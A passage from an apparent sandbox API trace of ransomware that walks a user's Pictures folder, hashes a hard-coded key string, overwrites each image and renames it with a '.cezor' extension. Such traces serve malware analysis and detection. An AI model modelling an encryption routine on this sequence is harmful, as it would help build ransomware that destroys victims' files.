lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6757a30, ftCreationTime.dwHighDateTime=0x1d4c7b4, ftLastAccessTime.dwLowDateTime=0xf30a5af0, ftLastAccessTime.dwHighDateTime=0x1d4c809, ftLastWriteTime.dwLowDateTime=0xf30a5af0, ftLastWriteTime.dwHighDateTime=0x1d4c809, nFileSizeHigh=0x0, nFileSizeLow=0xbb46, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="v9Hxi uz2vt-5XDoxdC.bmp", cAlternateFileName="V9HXIU~1.BMP")) returned 1 [0061.246] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.246] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301db48 [0061.246] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.246] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\v9Hxi uz2vt-5XDoxdC.bmp") returned=".bmp" [0061.246] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\v9Hxi uz2vt-5XDoxdC.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\1olw\\v9hxi uz2vt-5xdoxdc.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0061.246] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=47942) returned 1 [0061.246] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0061.249] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xbb20, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.249] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0061.249] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0061.249] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0061.249] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0061.249] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0xbb46, lpOverlapped=0x0) returned 1 [0061.250] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.250] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0061.250] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.250] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.250] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ebc8) returned 1 [0061.251] CryptCreateHash (in: hProv=0x74ebc8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0061.251] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0061.251] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0061.251] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0061.251] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0061.251] GetLastError () returned 0x0 [0061.251] CryptDestroyHash (hHash=0x3038608) returned 1 [0061.251] CryptReleaseContext (hProv=0x74ebc8, dwFlags=0x0) returned 1 [0061.251] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0061.251] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xbb50) returned 0x3132418 [0061.251] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0061.251] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0061.251] WriteFile (in: hFile=0x5c4, lpBuffer=0x3132418*, nNumberOfBytesToWrite=0xbb41, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x3132418*, lpNumberOfBytesWritten=0x9aafb24*=0xbb41, lpOverlapped=0x0) returned 1 [0061.251] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3132418 | out: hHeap=0x670000) returned 1 [0061.251] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xbb46, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.252] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.252] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a878 [0061.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a878, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0061.252] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a430 [0061.252] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0061.252] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.252] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a430*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a430*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0061.252] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0061.252] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0061.252] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0061.252] CloseHandle (hObject=0x5c4) returned 1 [0061.253] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x301d980 [0061.253] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8a0) returned 0x3100c28 [0061.253] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301d980 | out: hHeap=0x670000) returned 1 [0061.253] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\v9Hxi uz2vt-5XDoxdC.bmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\1olw\\v9hxi uz2vt-5xdoxdc.bmp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\v9Hxi uz2vt-5XDoxdC.bmp.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\1olw\\v9hxi uz2vt-5xdoxdc.bmp.cezor")) returned 1 [0061.253] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0061.253] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0061.254] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301db48 | out: hHeap=0x670000) returned 1 [0061.254] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1f2ccf10, ftCreationTime.dwHighDateTime=0x1d4cf84, ftLastAccessTime.dwLowDateTime=0x9b6c0640, ftLastAccessTime.dwHighDateTime=0x1d4d58d, ftLastWriteTime.dwLowDateTime=0x9b6c0640, ftLastWriteTime.dwHighDateTime=0x1d4d58d, nFileSizeHigh=0x0, nFileSizeLow=0x32f1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="wpAW.jpg", cAlternateFileName="")) returned 1 [0061.254] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.254] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8e) returned 0x301db48 [0061.254] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.254] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\wpAW.jpg") returned=".jpg" [0061.255] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\wpAW.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\1olw\\wpaw.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0061.255] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=13041) returned 1 [0061.255] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0061.257] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x32cb, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.257] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0061.258] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0061.258] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0061.258] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0061.258] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x32f1, lpOverlapped=0x0) returned 1 [0061.258] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.258] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0061.258] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.258] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.258] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ebc8) returned 1 [0061.259] CryptCreateHash (in: hProv=0x74ebc8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0061.259] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0061.259] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0061.259] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0061.259] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0061.259] GetLastError () returned 0x0 [0061.259] CryptDestroyHash (hHash=0x3038608) returned 1 [0061.259] CryptReleaseContext (hProv=0x74ebc8, dwFlags=0x0) returned 1 [0061.259] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0061.259] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x32f0) returned 0x31218d0 [0061.259] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0061.259] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0061.259] WriteFile (in: hFile=0x5c4, lpBuffer=0x31218d0*, nNumberOfBytesToWrite=0x32ec, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x31218d0*, lpNumberOfBytesWritten=0x9aafb24*=0x32ec, lpOverlapped=0x0) returned 1 [0061.260] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31218d0 | out: hHeap=0x670000) returned 1 [0061.260] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x32f1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.260] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.260] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a430 [0061.260] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a430, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0061.260] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a878 [0061.260] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0061.260] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.260] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a878*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a878*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0061.260] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0061.260] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0061.260] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0061.260] CloseHandle (hObject=0x5c4) returned 1 [0061.261] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d8e8 [0061.261] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x880) returned 0x3100c28 [0061.261] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d8e8 | out: hHeap=0x670000) returned 1 [0061.261] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\wpAW.jpg" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\1olw\\wpaw.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\wpAW.jpg.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\1olw\\wpaw.jpg.cezor")) returned 1 [0061.261] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0061.261] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0061.262] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301db48 | out: hHeap=0x670000) returned 1 [0061.262] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d9fd590, ftCreationTime.dwHighDateTime=0x1d4c715, ftLastAccessTime.dwLowDateTime=0xcf717a80, ftLastAccessTime.dwHighDateTime=0x1d4d4a5, ftLastWriteTime.dwLowDateTime=0xcf717a80, ftLastWriteTime.dwHighDateTime=0x1d4d4a5, nFileSizeHigh=0x0, nFileSizeLow=0x5a64, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="xRTD4.png", cAlternateFileName="")) returned 1 [0061.262] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.262] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8e) returned 0x301db48 [0061.262] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.262] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\xRTD4.png") returned=".png" [0061.262] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\xRTD4.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\1olw\\xrtd4.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0061.262] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=23140) returned 1 [0061.262] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2a40000 [0061.265] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x5a3e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.265] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x9aafb7c, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb7c*=0x26, lpOverlapped=0x0) returned 1 [0061.266] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4940 [0061.266] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0061.266] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0061.266] ReadFile (in: hFile=0x5c4, lpBuffer=0x2a40000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x9aafb78, lpOverlapped=0x0 | out: lpBuffer=0x2a40000*, lpNumberOfBytesRead=0x9aafb78*=0x5a64, lpOverlapped=0x0) returned 1 [0061.266] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.266] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x25) returned 0x310b770 [0061.266] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.266] lstrlenA (lpString="1CD4F9D36CFAB69641480CF2909EA9DE") returned 32 [0061.266] CryptAcquireContextW (in: phProv=0x9aafa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x9aafa94*=0x74ebc8) returned 1 [0061.267] CryptCreateHash (in: hProv=0x74ebc8, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x9aafa9c | out: phHash=0x9aafa9c) returned 1 [0061.267] CryptHashData (hHash=0x3038608, pbData=0x310b770, dwDataLen=0x25, dwFlags=0x0) returned 1 [0061.267] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x0, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x9aafa98) returned 1 [0061.267] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x11) returned 0x3033b68 [0061.267] CryptGetHashParam (in: hHash=0x3038608, dwParam=0x2, pbData=0x3033b68, pdwDataLen=0x9aafa98, dwFlags=0x0 | out: pbData=0x3033b68, pdwDataLen=0x9aafa98) returned 1 [0061.267] GetLastError () returned 0x0 [0061.267] CryptDestroyHash (hHash=0x3038608) returned 1 [0061.267] CryptReleaseContext (hProv=0x74ebc8, dwFlags=0x0) returned 1 [0061.267] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x310b770 | out: hHeap=0x670000) returned 1 [0061.267] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x5a60) returned 0x31218d0 [0061.267] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0061.267] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4940 | out: hHeap=0x670000) returned 1 [0061.267] WriteFile (in: hFile=0x5c4, lpBuffer=0x31218d0*, nNumberOfBytesToWrite=0x5a5f, lpNumberOfBytesWritten=0x9aafb24, lpOverlapped=0x0 | out: lpBuffer=0x31218d0*, lpNumberOfBytesWritten=0x9aafb24*=0x5a5f, lpOverlapped=0x0) returned 1 [0061.268] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x31218d0 | out: hHeap=0x670000) returned 1 [0061.268] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x5a64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0061.268] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.268] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x428) returned 0x312a878 [0061.268] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", cchWideChar=-1, lpMultiByteStr=0x312a878, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e", lpUsedDefaultChar=0x0) returned 41 [0061.268] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x430) returned 0x312a430 [0061.268] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a878 | out: hHeap=0x670000) returned 1 [0061.268] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.268] WriteFile (in: hFile=0x5c4, lpBuffer=0x312a430*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x312a430*, lpNumberOfBytesWritten=0x9aafb2c*=0x28, lpOverlapped=0x0) returned 1 [0061.268] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x312a430 | out: hHeap=0x670000) returned 1 [0061.268] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0061.268] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x9aafb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x9aafb2c*=0x26, lpOverlapped=0x0) returned 1 [0061.268] CloseHandle (hObject=0x5c4) returned 1 [0061.269] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x70) returned 0x306d8e8 [0061.269] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x880) returned 0x3100c28 [0061.269] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306d8e8 | out: hHeap=0x670000) returned 1 [0061.269] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\xRTD4.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\1olw\\xrtd4.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Pictures\\1oLW\\xRTD4.png.cezor" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\pictures\\1olw\\xrtd4.png.cezor")) returned 1 [0061.269] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3100c28 | out: hHeap=0x670000) returned 1 [0061.269] VirtualFree (lpAddress=0x2a40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0061.270] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x301db48 | out: hHeap=0x670000) returned 1 [0061.270] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d9fd590, ftCreationTime.dwHighDateTime=0x1d4c715, ftLastAccessTime.dwLowDateTime=0xcf717a80, ftLastAccessTime.dwHighDateTime=0x1d4d4a5, ftLastWriteTime.dwLowDateTime=0xcf717a80, ftLastWriteTime.dwHighDateTime=0x1d4d4a5, nFileSizeHigh=0x0, nFileSizeLow=0x5a64, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="xRTD4.png", cAlternateFileName="")) returned 0 [0061.270] FindClose (in: hFindFile=0x3038588 | out: hFindFile=0x3038588) returned 1 [0061.270] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d4898 | out: hHeap=0x670000) returned 1 [0061.270] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f63c0 | out: hHeap=0x670000) returned 1 [0061.270] PeekMessageW (in: lpMsg=0x9aaff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aaff08) returned 0 [0061.270] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f63c0 [0061.270] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0061.271] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.271] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.271] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.271] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.271] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.271] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.271] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.271] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.271] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.271] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.271] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.271] HeapFree (in: hHeap=0x670000, dwFlags=0x0, 